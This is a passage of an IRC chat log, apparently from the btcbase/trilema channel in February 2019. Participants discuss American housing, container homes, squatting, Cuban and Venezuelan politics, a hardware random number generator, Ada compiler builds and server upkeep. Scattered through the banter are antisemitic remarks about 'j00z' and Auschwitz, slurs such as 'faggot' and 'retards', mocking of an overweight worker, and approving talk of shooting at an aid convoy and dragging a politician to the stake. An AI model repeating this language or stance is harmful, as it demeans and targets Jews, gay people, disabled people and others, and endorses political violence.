is yet another weird Anglo colonial quirk. 1899249;1551135514;BingoBoingo;Instead they just started using less wood and more petrol weird in their cabins 1899250;1551135589;mircea_popescu;[http://trilema.com/2018/surprised-by-joy-the-shape-of-my-early-life-adnotated/#selection-185.185-189.0][femstate] lulz, the termites could prolly chew the trunks making up one original log cabin and spit out paper cells for a whole neighbourhood of contemporary drones. 1899251;1551135602;mircea_popescu;those 1800s doods used whole trunks, half the time still round, to make the walls. 1899252;1551135648;asciilifeform;BingoBoingo: history's most 'successful', if you will, bonsai-kitten experiment. unlike e.g. ceausescu's ro folx, most of usa never even laid eyes on a ~picture~ of an actual pre-socialism house, much less set foot in one, not even speaking of riding in a pre-socialism auto or growing up in a pre-.... family etc 1899253;1551135681;mircea_popescu;there's of course ye olde brownstone tenements 1899254;1551135687;asciilifeform;picture-perfect 'just how much shit WILL they eat if never knew different' setup 1899255;1551135690;mircea_popescu;but afaik entirely north east phenomenon 1899256;1551135695;asciilifeform;mircea_popescu: ~entirely afaik 1899257;1551135705;asciilifeform;even those, tend to be rather spartan per europistani standards 1899258;1551135727;mircea_popescu;it's very weird because for a good half of 20th century, us housing kicked SO MUCH ASS compared to yurp... 1899259;1551135728;asciilifeform;there's an old slaveholder manor not far from asciilifeform . it is quite threadbare if you were to stand it next to the habsburg dwellings 1899260;1551135731;mircea_popescu;it didn't last tho. 1899261;1551135737;asciilifeform;( see mircea_popescu's jefferson thread, etc ) 1899262;1551135927;asciilifeform;( manor -- pretty interesting in own light. literally entire town, incl. the university grounds, usedta be part of it pre-dekulakization. yet most of the folx living there nao, dun even know that the manor house exists. inside, threadbare museum, open 1ce a week or sumthing, souvenir shop. ) 1899263;1551136006;*;asciilifeform found, by chance, a living descendant of the manor people. old woman, 9000 cats... 1899264;1551136249;asciilifeform;quite hilarious re 'houses' -- the other day there was a little gust of wind, certainly nuffin rising to the level of 'hurricane'. and then i go for a drive, and errywhere pieces of 'house' came off 1899265;1551136263;BingoBoingo;Even Uruguayo socialist housing compared to the US... Seeing these how these 10-12 story towers go up is a trip. 1899266;1551136301;asciilifeform;BingoBoingo: your orcs , not yet invented the pretense. mix cement, pour, done. 1899267;1551136419;asciilifeform;i dun even know presently what prevents it. possibly if the fast-growing pine thing usa uses, grew in south a, argentina + uy et al would already look like matchstick washington. 1899268;1551136530;asciilifeform;usa seems intent on replaying the career of the illustrative-idiot character in erry single trad folk tale. even 'the 3 pigs'. 1899269;1551136561;BingoBoingo;The locals like fire. Estufas de leña for winter and parrillas for asado. Lots are too narrow to not have disaster during the matchsticking. 1899270;1551136641;asciilifeform;https://archive.is/umBKl#selection-63.358-63.753 << oblig naggum 1899271;1551136825;BingoBoingo;The more "affordable" option emerging are furnished, shipping containers. These however are a rural and outter barrio thing. 1899272;1551136920;asciilifeform;BingoBoingo: in usa would be moar common if were not artificially suppressed ( it is legal to be a hobo , but not to live in shipping container or anyffin else not Officially mortgaged via the lizards ) 1899273;1551137043;BingoBoingo;asciilifeform: Well, local control issue mostly. Universal building codes get adopted and at the local level derps enforce Stick Frames because the presence of deviant construction drops the relative value of the established derp's stick constructions. 1899274;1551137049;asciilifeform;not limited to 'ugly' ersatz housing, either. recall the mircea_popescu thread about some ro fella who thought he could get away with building a stone euro-style house in urban usa, where the locals could see it 1899275;1551137069;BingoBoingo;I recall mircea_popescu had a story about folks trying to build stone house in the US 1899276;1551137074;mircea_popescu;i expect actually a great future for intermodal container housing. 1899277;1551137074;BingoBoingo;AHA 1899278;1551137092;mircea_popescu;imagine, neighbourhood of the future, == port of the future. you sign the slip to where you wanna live next, they take you there. 1899279;1551137106;mircea_popescu;go to paris via marseille without leaving you livingroom. 1899280;1551137212;asciilifeform;that'd rock, actually. the 1 annoying detail is that even at current fare ( what, 2k orcbux? from ny to marseilles ) the folx who can afford fare, dun care to live in container 1899281;1551137253;BingoBoingo;Well, how many containers does the alf lab need? 1899282;1551137272;asciilifeform;BingoBoingo: 5-6 1899283;1551137330;asciilifeform;3-4 , i suppose, if it's going to junkyard instead of marseilles and you can compact it a bit 1899284;1551137359;mircea_popescu;there's maybe 20mn containers in the world. 1899285;1551137371;mircea_popescu;once there's 20bn, the fare will be ~20k, except with inflation <1 bitcent. 1899286;1551137409;mircea_popescu;BingoBoingo what difference does it make ? if you're rich, get 6x4x2 or w/e, not like you can't specify arrangement. might delay you a day. whopee. 1899287;1551137449;mircea_popescu;now THIS is the sort of [interfaced] cvasi-boat alf could readily live on -- if everyone else also did. 1899288;1551137457;asciilifeform;mircea_popescu: there's a massive 'artistic' sculpture consisting of coupla dozen containers somewhere on the road to washington from here. they're plentiful, and folx in 'flyover' usa do sometimes live in'em ( see endless 'how i poured cement' http://btcbase.org/log/2019-02-24#1899021 -derpery on 'youtube' etc. ) 1899289;1551137457;a111;Logged on 2019-02-24 06:42 mircea_popescu: witness how instagram is chock full of a bunch of pretentious pictures of foods/travels/whatever that the putative "authors" ~aspire~ to. 1899290;1551137471;mircea_popescu;aha. 1899291;1551137502;asciilifeform;on the coasts, diff story. you can get away with dealing dope by megatonne, in bmore, but just try live in container. 1899292;1551137528;asciilifeform;withholding mortgageolade from the j00z -- the ur-crime in reich. 1899293;1551137595;mircea_popescu;i suspect this is your usual "opionions of things i imagine" postmodernist show. 1899294;1551137603;mircea_popescu;i know numerous chicks squatting. it's a thing. 1899295;1551137623;mircea_popescu;more a thing in german-yurp than us, but a major thing nevertheless, on both coasts and in plenty of midwest pockets. 1899296;1551137624;BingoBoingo; BingoBoingo what difference does it make ? if you're rich, get 6x4x2 or w/e, not like you can't specify arrangement. might delay you a day. whopee. << Well trying to figure out if the Port or Puertito is a more appropriate place arrive. 1899297;1551137625;asciilifeform;well in that vein, i even know (by name) actual hobos 1899298;1551137628;asciilifeform;hobo -- legal. 1899299;1551137638;mircea_popescu;squatting is precisely "living without jew" 1899300;1551137671;asciilifeform;i was speaking of 'living, not ~existing~'(tm) 1899301;1551137673;mircea_popescu;it's not even legal to take down ~illegal electricity connections~ they made, half the time. 1899302;1551137689;mircea_popescu;it's not clear to me what you mean. 1899303;1551137715;BingoBoingo;^ Here too, they get regularized and even then usually only when pasta base is involved 1899304;1551137720;mircea_popescu;if you define "living is exsting + jew" then yeah, i expect you won't find "living without jew". 1899305;1551137720;asciilifeform;incl., but not limited to, triple-digit locking door square metrage, fiber, and fridge with roquefort. 1899306;1551137745;mircea_popescu;actually, this happens regularly. witness the "art studio" / squat that burned a few years ago. 1899307;1551137755;mircea_popescu;more valuables there than in a whole suburbia's worth of soccer moms. 1899308;1551137769;asciilifeform;and moar lice than auschwitz barrack, betcha 1899309;1551137785;mircea_popescu;nah. artsy chicks are anxiously clean, these days. 1899310;1551137796;asciilifeform;iirc that one was fulla xy 1899311;1551137798;mircea_popescu;there's also the filthy sort, but that's more of a punk/pill scene. 1899312;1551137843;mircea_popescu;asciilifeform the infestations are a by-scene thing. the art scene's not particularly lice-y. some music scenes are ; the sex scene may be, depending on the house mother. on it goes. 1899313;1551137852;mircea_popescu;it's a very unevenly distributed thing. 1899314;1551137861;asciilifeform;iirc gabriel_laddel was living in sumthing like this shortly before he finally sank 1899315;1551137866;asciilifeform;didn't sound esp. thrilled 1899316;1551137874;mircea_popescu;i have no idea ; nor is this anything like an example. 1899317;1551137875;asciilifeform;( and this was not a d00d with outlandish standards ) 1899318;1551137892;BingoBoingo;Some bums even get upwardly mobile here http://btcbase.org/log/2019-02-19#1898017 http://btcbase.org/log/2019-02-19#1898018 1899319;1551137892;a111;Logged on 2019-02-19 04:42 BingoBoingo: Also tonight I saw the good bum mentioned http://bingology.net/2018/12/24/preparations-for-the-second-navidad-in-uruguay/#footnote_1_2160 1899320;1551137892;a111;Logged on 2019-02-19 04:42 BingoBoingo: It has been a while. Turns out he got a job of sorts at a Confiteria. Sleeps in an actual bed most nights now. 1899321;1551137915;mircea_popescu;but in more reality-anchored basis for discussion, i'd guess about one third of esl females in age range of interest live in communal arrangements. some are publicly run, aka "university dorms" ; some are privately run, of which as much as one third also illegally run. 1899322;1551137956;asciilifeform;mircea_popescu: these -- yes the 'fyootoor', in last decade they tore down good % of the town around here and built honest sovok-style communal-by-design flats 1899323;1551137958;mircea_popescu;the girls that don't, remarkably, are even odds lost in smalltown idaho or other such nowherezeone horrors. 1899324;1551137966;asciilifeform;somehow 'not Officially happening', but there they are 1899325;1551137973;asciilifeform;and mostly fulla yes, mircea_popescu's chix 1899326;1551138004;mircea_popescu;trend's been ongoing since at least the 70s, once the yellow flower of alabamy decided her only future's to go to new york to be a writer. 1899327;1551138011;mircea_popescu;so many writers... wut do. stack 'em. 1899328;1551138036;mircea_popescu;one can't really understand "gender identity" or whatever, faggot-bla-bla without actually comprehending the demographics. 1899329;1551138055;asciilifeform;the interesting, imho, detail, is that i went and found what they pay. if you add up the rent of the 4 коммуналка derps occupying any of these, you get ~2x what asciilifeform pays for same sq. m. 1899330;1551138057;mircea_popescu;they're incomprehensible and uninteresting to "patriarchy" aka the lordship principally because they're epiphenomena of poverty in a manner unexperienced. 1899331;1551138067;mircea_popescu;much like medieval lords did not understand the amulet fervor of the peons. 1899332;1551138079;mircea_popescu;asciilifeform of course. you're priviledged. 1899333;1551138090;asciilifeform;lol privileged. i grew up in an actual коммуналка. 1899334;1551138104;asciilifeform;baked out of 19th c. actual-people flat, as they came 1899335;1551138118;mircea_popescu;so ? 1899336;1551138128;mircea_popescu;i don't mean you inherited it. 1899337;1551138164;mircea_popescu;i mean you're not them, substantially. if i shoot some schmuck they ask me "what i was thinking", if some schmuck shoots another they just dump him in the hole. 1899338;1551138173;asciilifeform;aa 1899339;1551138177;mircea_popescu;we're substantially different things, i'm something, the poveraccio's not a thing. 1899340;1551138265;asciilifeform;the lulztwist is that here you cannot get the tall ceiling of that коммуналка even with 5 mircea_popescu-s worth of moola 1899341;1551138301;asciilifeform;( or perhaps could, but would have to station an army around it, and it begins to look economical in comparison to put it on ocean floor ) 1899342;1551138335;asciilifeform;dome, reactor, & all. 1899343;1551138574;asciilifeform;in vehehery other noose, asciilifeform accidentally, in the course of unrelated worx, dug up the long-sought pill for the http://btcbase.org/log/2016-12-19#1586264 item. 1899344;1551138574;a111;Logged on 2016-12-19 20:16 asciilifeform: btw if anyone can come up with a WORKING 'crab' (realtek) nic driver in pure long mode asm, we can have, e.g., scheme on iron, and usefully so, in a couplea weeks. 1899345;1551138614;asciilifeform;( nao if could grow 3 or 4 additional hands !!11 ) 1899346;1551139188;asciilifeform;in other olds, http://btcbase.org/log/2016-12-19#1586388 1899347;1551139188;a111;Logged on 2016-12-19 23:08 danielpbarron is interested in http://btcbase.org/log/2016-12-19#1586342 1899348;1551139197;asciilifeform;hrm, whatever happened to that fella 1899349;1551139200;asciilifeform;!#seen danielpbarron 1899350;1551139200;a111;2019-01-03 i did not tell him to join, and i have given up on reaching that crowd 1899351;1551139212;asciilifeform;oh hm, alive, sorta 1899352;1551139213;mircea_popescu;haha, so then, scheme in iron, in 2 weeks ? 1899353;1551139245;asciilifeform;mircea_popescu: if asciilifeform weren't sitting under a pile of unfinisheds -- then conceivably yes 1899354;1551139249;asciilifeform;why, do you want one ? 1899355;1551139286;mircea_popescu;not particularly, but good to know. 1899356;1551139309;asciilifeform;it's one possible path to that fabled bootstrappable box. 1899357;1551139355;asciilifeform;( and possibly even the lightest, in re count of moving parts.. ) 1899358;1551140071;*;danielpbarron is here 1899359;1551140099;asciilifeform;ohai danielpbarron 1899360;1551140107;asciilifeform;danielpbarron: are you still doing the 'warehouse of iron' thing these days ? 1899361;1551140135;danielpbarron;i'm holding on to a bunch of computer parts but i'm not sure how useful any of them are 1899362;1551140160;asciilifeform;i dun know anyone who has buncha parts ~and~ Knows For Certain How Useful 1899363;1551140638;asciilifeform;danielpbarron: still making a killing selling fg ? 1899364;1551140657;danielpbarron;no, hasn't been a sale in a year about 1899365;1551140680;danielpbarron;still got plenty, still listed on ebay 1899366;1551140870;asciilifeform;pretty modest ( tho asciilifeform was still surprised how large ! ) uptake for FG. asciilifeform doesn't even have a rigid handle on why, specifically. 1899367;1551140893;asciilifeform;possibly only that many folx alive who give a serious shit re crypto. possibly i made it the wrong shade of red, fuck if i know. 1899368;1551141051;BingoBoingo;Seems like a poverty of folks who know how to give a serious shit about crypto 1899369;1551141103;asciilifeform;danielpbarron: you ( & customers... ) may find it interesting, that even tho fg was not specifically built for radiation-hardness, the star of the http://www.loper-os.org/?cat=55 vivisections still runs to spec 1899370;1551141172;asciilifeform;helps that there aint much in the way of vlsi, or any electrolytic caps, possibly. 1899371;1551141188;asciilifeform;( caps -- strictly ceramic , with tantalum for the larger filter ) 1899372;1551141267;asciilifeform;if it were possible to source an antifuse fpga for the http://btcbase.org/patches/fg-genesis/tree/fg.v , thing would be trooly indestructible short of incinerator or train running over it 1899373;1551141315;asciilifeform;as it is, if yer launching yours into orbit, i recc pb foil over the cpld. 1899374;1551141351;asciilifeform;( tho i do not currently know what dose will actually do it in ) 1899375;1551142144;mircea_popescu;asciilifeform gotta build teh mommentum. 1899376;1551142161;mircea_popescu;things reinforce themselves, you have fg AND pizarro AND AND AND. 1899377;1551142206;mircea_popescu; the star of the http://www.loper-os.org/?cat=55 vivisections still runs to spec << market communication still pretty fucking terrible. 1899378;1551142225;mircea_popescu;consider what hanbot had to go through to stand up a working environment ; now consider potential customer has to ~same. 1899379;1551142245;mircea_popescu;that's the limit -- the sum total of folks alive capable of going through one of these bootstrappings is ~5. 1899380;1551142469;mircea_popescu;how's tricks these days, danielpbarron 1899381;1551142478;danielpbarron;good 1899382;1551142629;mircea_popescu;oklahoma treatin you well ? 1899383;1551142924;danielpbarron;yep 1899384;1551143057;asciilifeform;mircea_popescu: fg dun exactly require cuntoo tho. runs a++ with, e.g., my msdos box. ( via 'max232' ttl to rs232 transformer ) 1899385;1551143076;mircea_popescu;certainly. nor do electrolytic caps specifically require the pc. 1899386;1551143081;mircea_popescu;yet, without the pc there's ~no market. 1899387;1551143135;asciilifeform;pretty sure that most elcaps ever baked, went into tv. but can see the pt. 1899388;1551143275;mircea_popescu;whatever, tv, space rockets. it wasn't amateur electronicists in garage, that's for sure. 1899389;1551143320;mircea_popescu;globalisation is another way to say "systematization". whether it's systematized delusion or systematized http://btcbase.org/log/2018-07-06#1832377 nevertheless the middle is thoroughly pruned in all contemporaneous groups. 1899390;1551143320;a111;Logged on 2018-07-06 18:46 mircea_popescu: (ro used the prefab construction process -- first, send mining equipment, flatten land ; then, put in rail ; then, roll out a rail crane, and roll prefab on cars up to it ; then move the derivation 1899391;1551143402;mircea_popescu;that old http://trilema.com/2014/in-which-you-become-grain/ discussion is not an idle consideration. this is the fundamental structure of everything, from baltimore gangland, where the police shoots the 20-gun tribes to make room for a dozen 2-gun tribes, to whatever you pick, "Merchandise scores in the theme park stores" and Disney is the king of the hill. 1899392;1551143486;mircea_popescu;consider [http://trilema.com/2013/so-you-think-you-know-about-scams-right/#comment-93901][this item] i recently fell upon by accident : "And so the scam rolled on through April and into May. I gathered around fifty active investors, and scammed about a billion non-Morty investments. I was repeatedly pulled into convos, usually lasting only a short time as they asked a few questions. Within the first few lines of communication 1899393;1551143486;mircea_popescu;, I always knew whether or not they would invest. Those who would not become investors always made specific requests for information, requiring several referrals of non-alts who had been playing the game for a few years. Obviously I could not provide this without giving the names of other investors. Since my business' website guaranteed anonymity, this was not practical. But those who did not make specific requests, and inste 1899394;1551143486;mircea_popescu;ad asked open-ended questions like "how can I trust you?" and "how do I know this is for real?"--these were future investors. They were asking me to persuade them. They wanted to believe." 1899395;1551143516;asciilifeform;'pruning of middle' happens, in re konsoomer tech, but consider also that moar goes into garage, or even iraqi roadside mind, 1899396;1551143522;asciilifeform;*mine 1899397;1551143526;asciilifeform;than into rocket 1899398;1551143528;mircea_popescu;there's ~nothing in between~. there's no pyramid, one inch wide the first inch, three inches wide the third inch, and a hundred inches wide the hundredht inch 1899399;1551143540;mircea_popescu;you have the top inch and the bottom foot, and in between miles upon miles of NOTHING 1899400;1551143559;asciilifeform;there's still a substantial 'hand-sewn' sector, where counts. 1899401;1551143573;mircea_popescu;asciilifeform this sector is not substantial, is the point im making. 1899402;1551143612;mircea_popescu;out of the people going to see some blockbuster, 33% are there because they're mouthdrooling retards, 66% are there because they're with their friends, and <1% are there to see the movie. 1899403;1551143653;asciilifeform;this yes 1899404;1551143679;asciilifeform;and 99+% of pc bought to run spreadshit & 'hearts', no less 1899405;1551143680;mircea_popescu;well this yes, but nothing is different from this. the chronic masturbators making up white esltardland don't suddenly become serious about some selection of topics, or even one topic. 1899406;1551143687;mircea_popescu;they eat like they watch movies like they work like they etc. 1899407;1551143811;asciilifeform;entirely troo. and in light of this, just about miraculous that any of the konsoomer shit can even be repurposed for actual work, at this pt 1899408;1551143956;mircea_popescu;there's exactly two arguments who can work on [http://trilema.com/2017/how-i-found-some-area-of-expertise-in-mathematical-cryptography-one-expects-to-find-here-and-there-plus-divers-spots-missed-while-shaving/#selection-141.0-143.110][typical moron]. the first is, "everyone is doing this" ; the second is "you must this in order to that". 1899409;1551143971;mircea_popescu;the second only works worth half a shit when it's "in order to stay out of jail". and even then very dubious. 1899410;1551143991;mircea_popescu;so what you want to do, is exactly the "everyone is doing this", hence systematization. 1899411;1551144010;mircea_popescu;until then, it's gonna be piddly. 1899412;1551144016;mircea_popescu;once there, well... 1899413;1551144108;mircea_popescu;in other [http://trilema.com/2017/how-the-beastforumcom-private-messaging-function-became-a-paid-user-only-item/][inconsequential lulz], https://armorgames.com/page/data-breach-2019 1899414;1551144133;mircea_popescu;"While much of the data affected is public profile information, it includes usernames, emails, hashed passwords and the salt (allowing the hashed passwords to be reversed). We care deeply about our users’ security and are taking numerous steps to prevent this from happening again and to protect against the misuse of information." 1899415;1551144183;mircea_popescu;they care [http://trilema.com/2015/fetlife-the-meat-market/#comment-112224][deeply], indeed. they [http://trilema.com/2015/mika-epstein-aka-ipstenu-is-a-thoroughly-clueless-poser/][all] do. 1899416;1551153406;asciilifeform;mircea_popescu: that makes sense. 1899417;1551154048;asciilifeform;!#s from:opcode 1899418;1551154048;a111;0 results for "from:opcode", http://btcbase.org/log-search?q=from%3Aopcode 1899419;1551154072;asciilifeform;!!key opcode 1899420;1551154073;deedbot;Not registered. 1899421;1551156522;hanbot;BingoBoingo I attempted a reboot of s.nsa spare box, looks like it's not coming back up. please investigate at your leisure. 1899422;1551157522;asciilifeform;hanbot: it's riding on a boot usb, has to be manually en-ip'd. BingoBoingo will reignite when wakes up. 1899423;1551157605;asciilifeform;hanbot: plox to lemme know if you require a moar permanent setup. 1899424;1551160496;BingoBoingo;hanbot: Will investigate 1899425;1551160612;BingoBoingo;After getting some sleep 1899426;1551167323;feedbot;http://blog.lobbesblog.com/2019/02/a-bridge-to-cuntoo-for-the-lenovo-x61-x86_64/ << lobbesblog -- A bridge to Cuntoo: for the Lenovo x61 (x86_64) 1899427;1551194926;feedbot;http://bimbo.club/2019/02/philosophical-transactions-for-the-months-of-april-may-and-june-1714-part-iii/ << Bimbo.Club -- Philosophical Transactions. For the months of April, May and June, 1714. - Part III. 1899428;1551210289;feedbot;http://thetarpit.org/posts/y05/085-gutenberg-iii.html << The Tar Pit -- Project Gutenberg ASCII text archive 1899429;1551211729;BingoBoingo;hanbot: There's a team with one profoundly fat person working deep in the hot aisle putting filling up a rack. The hamplanet's moving about makes keeping a terminal plugged into the machine a precarious proposition. Will dive again later. 1899430;1551211822;asciilifeform;lolwaat 1899431;1551211838;asciilifeform;BingoBoingo: he's the size of a hippo ? why would this block work in the rack?! 1899432;1551212017;BingoBoingo;asciilifeform: Roughly the size. It blocks setting up the keyboard and monitor for an extended period of time without the risk of his ass propelling the setup into the rack because he imagines he can move like a dainty princess. 1899433;1551212345;BingoBoingo;His side of whatever he's contributing to their build is in the hot aisle. But he's ~350 pounds, so he can only stand to be in the hot aisle ~90 seconds at a time. That's a lot of purposeless movement I would rather not deal with when the hippo workday has to end sometime. 1899434;1551217926;BingoBoingo;In other stuff, apparently Pat Buchanan is still alive and kicking http://archive.is/YjzYT 1899435;1551219866;asciilifeform;so is zhirinovsky, lol 1899436;1551223098;asciilifeform;spyked: that thing is on a 28kbaud modem or wat?! 1899437;1551223115;BingoBoingo;!Qlater tell hanbot http://p.bvulpes.com/pastes/IWcky/?raw=true Your machine is back online 1899438;1551223115;lobbesbot;BingoBoingo: The operation succeeded. 1899439;1551223121;asciilifeform;i went 'let's mirror', but loox like will take whole day 1899440;1551223268;asciilifeform;!Q later tell spyked that gutenberg tarball -- didja get a chance to auto-kill all of the header liquishit ? i'd prefer to mirror a flensed copy, the 50kB of 'this text copyright wikitards(tm)(r)' is eyesore 1899441;1551223268;lobbesbot;asciilifeform: The operation succeeded. 1899442;1551225412;feedbot;http://qntra.net/2019/02/cuban-people-overwhelmingly-vote-to-preserve-single-part-system-in-exchange-for-more-socialism/ << Qntra -- Cuban People Overwhelmingly Vote To Preserve Single Part System In Exchange For More Socialism 1899443;1551225657;asciilifeform;BingoBoingo: imho pretty sad , actually : the (afaik) last 100% mcd-free reservation on hemisphere, totters. 1899444;1551225676;asciilifeform;inevitable, since fuhrer croaked, tho. 1899445;1551226633;BingoBoingo; asciilifeform Well hard to tell if they are opening to McDonalds or simply moving to converge with Uruguay's Fat Forehead party 1899446;1551226664;asciilifeform;BingoBoingo: for all i know, already opened 1899447;1551226677;BingoBoingo;Possible 1899448;1551226892;asciilifeform;http://btcbase.org/log/2017-05-16#1657172 << see also re other similar reservation. 1899449;1551226892;a111;Logged on 2017-05-16 20:09 asciilifeform: which is why north kr was priceless treasure -- the ONLY remaining experiment with industry sans konsoomer-spending-britneyizes-all 1899450;1551226915;asciilifeform;right nao in cuba, there's this wonder, orcs who machine toyota gearboxes to fit in 'lada', etc. 1899451;1551226932;asciilifeform;when 'civilization' swallows island, they'll be watchin' 'netflix' like mircea_popescu's argentines. 1899452;1551226977;asciilifeform;sorta how in ru today 1e6 lolcat watchers for erry d00d with half a brain who builds pdp with own hands. whereas in 1990 , 1e6 builders of pdp and 0 lolcat. 1899453;1551227066;asciilifeform;!#s viermi neadormiti 1899454;1551227066;a111;2 results for "viermi neadormiti", http://btcbase.org/log-search?q=viermi%20neadormiti 1899455;1551227069;asciilifeform;^ see also. 1899456;1551227181;asciilifeform;or e.g. http://btcbase.org/log/2017-06-13#1669415 thrd. 1899457;1551227181;a111;Logged on 2017-06-13 02:20 mircea_popescu: it was utterly the case of eg ro revolution. none of the people there wanted "freedom". they were literally pissed off they can't drive over to austrian border and load up the car at the w/e discount shop. 1899458;1551227703;asciilifeform;i have nfi how anyone can escape the conclusion that 'western civilization' of the past-50y model is in any way diff in effect than eating pb paint chips. 1899459;1551227921;BingoBoingo;Stockholm syndrome is a thing 1899460;1551227999;asciilifeform;soon enuff , when no moar castros, those bananistani will be living in mortgaged cardboard, eating mcd, and watching 'netflix', shitting out 'blogs' fulla malapropisms , an' ~nobody will remember any other time. 1899461;1551228025;BingoBoingo;Well, Maduro's folk have mcd, netflix, and Pnohes 1899462;1551228052;asciilifeform;BingoBoingo: as i understand, maduro is on the chopping block; and i dun think these are unrelated 1899463;1551228094;asciilifeform;e.g. how come erry man of fighting age in vz aint on the boarder, pumping lead into the 'humanitarian convoy', manning ack-ack batteries, etc ? 1899464;1551228102;asciilifeform;*the border 1899465;1551228172;asciilifeform;for contrast -- recall how 'bay of pigs' went. 1899466;1551228219;asciilifeform;or why, for that matter, not stormed pantsuit 'parliament' and dragged guiado out by the heels to the public stake ? 1899467;1551228314;BingoBoingo;Well, border closed. Convoy torched by "protesters" on Colombian side 1899468;1551228451;asciilifeform;notbad, i suppose, if troo 1899469;1551228475;asciilifeform;but from what clues BingoBoingo dug up prev, the vz folx have already 'let miami into their hearts' 1899470;1551228610;asciilifeform;i still remember that d00d i talked to in timis , where http://btcbase.org/log/2017-11-03#1732376 1899471;1551228610;a111;Logged on 2017-11-03 13:08 asciilifeform: asciilifeform confessed to a cabbie that he wants to move, and cabbie looked as if asciilifeform grew a cock on his forehead 1899472;1551228622;asciilifeform;was 'textbook case' of 'miami of the central nervous system' 1899473;1551228657;asciilifeform;sent his daughter to 'journalism' (iirc) school, just so to optimize for eventual miamiization 1899474;1551228699;asciilifeform;iirc BingoBoingo documented a number of similar zombies also 1899475;1551233633;mod6;mircea_popescu: http://p.bvulpes.com/pastes/kr8CA/?raw=true 1899476;1551243001;asciilifeform;meanwhile, orlol meets world of lafond! >> http://cluborlov.blogspot.com/2019/02/how-bad-can-things-possibly-get.html 1899477;1551243397;asciilifeform;spyked: http://nosuchlabs.com/pub/gutentext.tar.xz for nao 1899478;1551245115;hanbot; hanbot: There's a team with one profoundly fat person working deep in the hot aisle putting filling up a rack. The hamplanet's moving about makes keeping a terminal plugged into the machine a precarious proposition. Will dive again later. << lol ty for the perseverance in the face (crack?) of doom BingoBoingo 1899479;1551245115;lobbesbot;hanbot: Sent 6 hours and 6 minutes ago: http://p.bvulpes.com/pastes/IWcky/?raw=true Your machine is back online 1899480;1551258942;spyked;http://btcbase.org/log/2019-02-27#1899477 <-- ty, asciilifeform! I'll update the post with a link to your mirror later today 1899481;1551258942;a111;Logged on 2019-02-27 04:56 asciilifeform: spyked: http://nosuchlabs.com/pub/gutentext.tar.xz for nao 1899482;1551258942;lobbesbot;spyked: Sent 9 hours and 54 minutes ago: that gutenberg tarball -- didja get a chance to auto-kill all of the header liquishit ? i'd prefer to mirror a flensed copy, the 50kB of 'this text copyright wikitards(tm)(r)' is eyesore 1899483;1551259151;spyked;^ re de-header-ization: it's currently in the works, I'll shoot out another update once the new .tar.xz is ready. 1899484;1551259340;spyked;http://btcbase.org/log/2019-02-26#1899436 <-- no, but allcomers are allcoming and allleeching. 1899485;1551259340;a111;Logged on 2019-02-26 23:18 asciilifeform: spyked: that thing is on a 28kbaud modem or wat?! 1899486;1551259703;spyked;!!v 8E46A9C2B6808215858F491A399AF9D0ED185CBE232C2DEECE1D5E8224810263 1899487;1551259704;deedbot;spyked rated diana_coman 4 << eulora, ada and others; showed me around .ro.petroltown 1899488;1551266515;feedbot;http://trilema.com/2019/the-working-philosopher-and-the-what-if-philosopher/ << Trilema -- The working philosopher and the what-if philosopher 1899489;1551288593;asciilifeform;meanwhile, in yet-another-faux-FG : https://www.quintessencelabs.com/products/qstream-quantum-true-random-number-generator/ 1899490;1551288645;*;asciilifeform no longer specifically stampcollects these, but occasionally turns up by chance 1899491;1551289297;shinohai;From quantum sources! 1899492;1551289318;asciilifeform;well, from poured-into-epoxy ???... 1899493;1551289389;asciilifeform;btw if anyone here happens to come across 1 of these lolboxes, feel free to send to asciilifeform for xray ( if you want it back, will cost return postage ) 1899494;1551289549;asciilifeform;wb shinohai . what've you been up to these days ? 1899495;1551289689;shinohai;im poking about with trb, gonna put up a post soon if ya wanna read 1899496;1551289751;asciilifeform;will read 1899497;1551289884;shinohai;asciilifeform: didja get chance to do regrind steps on trb? I would of course *like* to have your sigs there, since you wrote a bunch of old patches. 1899498;1551289912;asciilifeform;shinohai: not yet. it's on the conveyor tho. 1899499;1551290017;shinohai;sweet, thx 1899500;1551290230;mod6;thanks asciilifeform; the one thing that changed, other than the hashes (from sha512->keccak) in the vpatches, is in the genesis.vpatch, I removed that UTF-8 character. 1899501;1551290364;asciilifeform;guten tag mod6 1899502;1551290399;mod6;hola! 1899503;1551290672;asciilifeform;!Q later tell diana_coman were you able to build a working ave1gnat with sjljism ? or is that still an open puzzler? 1899504;1551290672;lobbesbot;asciilifeform: The operation succeeded. 1899505;1551290738;*;mod6 bbl 1899506;1551291082;diana_coman;asciilifeform, I built it, yes; iirc you even cut open a bin compiled with it 1899507;1551291082;lobbesbot;diana_coman: Sent 6 minutes ago: were you able to build a working ave1gnat with sjljism ? or is that still an open puzzler? 1899508;1551291161;asciilifeform;diana_coman: iirc what i cut was built with old-stype gnat16 neh ? 1899509;1551291208;asciilifeform;( i.e. was prior to the thread where diana_coman rebuilt ave1's ) 1899510;1551291277;diana_coman;asciilifeform, you cut open both before and after; http://btcbase.org/log/2019-02-16#1897220 1899511;1551291277;a111;Logged on 2019-02-16 17:04 asciilifeform: diana_coman: are we sawing'em open because it dun actually abort, or simply to compare with old gnat's sjlj , tho ? 1899512;1551291282;asciilifeform;oh hm. 1899513;1551291296;asciilifeform;right, then. 1899514;1551291326;diana_coman;the missing bit re compiling ave1's gnat with sjlj was found by ave1 : http://btcbase.org/log/2019-02-16#1897189 1899515;1551291326;a111;Logged on 2019-02-16 09:44 ave1: diana_coman, in system-linux-*.ads (in gcc/ada directory) you'll find the line: ZCX_By_Default : constant Boolean := False; 1899516;1551291353;diana_coman;note that you'll get simply gnat with sjlj, no option to switch between zcx and sjlj i.e. --rts won't work 1899517;1551291363;asciilifeform;aha, i walked back and saw this, was needed for working build 1899518;1551291382;asciilifeform;it's an annoying bug, will have to be fixed. 1899519;1551291415;asciilifeform;( tho it doesn't impact asciilifeform's current item , or afaik anything else just nao ) 1899520;1551291420;diana_coman;I have on my conveyor first to complete and publish the full set of data zcx vs sjlj; after that I guess I'll publish the notes re building ave1's gnat too 1899521;1551291432;asciilifeform;neato 1899522;1551291437;*;asciilifeform loox forward to reading 1899523;1551292212;asciilifeform;meanwhile, in x86 lulz, http://www.loper-os.org/pub/wampler/index.html 1899524;1551292270;asciilifeform;^ method for running entire proggies inside intel's 'speculative' nonsense iron 1899525;1551292367;asciilifeform;^ complete with 'speculative buffer overflow' & similar lulz. 1899526;1551294900;feedbot;http://trilema.com/2019/platoon/ << Trilema -- Platoon 1899527;1551297052;*;mircea_popescu waves 1899528;1551297106;hanbot;re my cuntoo-in': i ran bootstrap.sh, got trinque's smileyface, but then "cp: cannot stat '../config/4.9.94-apu2': No such file or directory". i'm having moar surgery tomorrow, 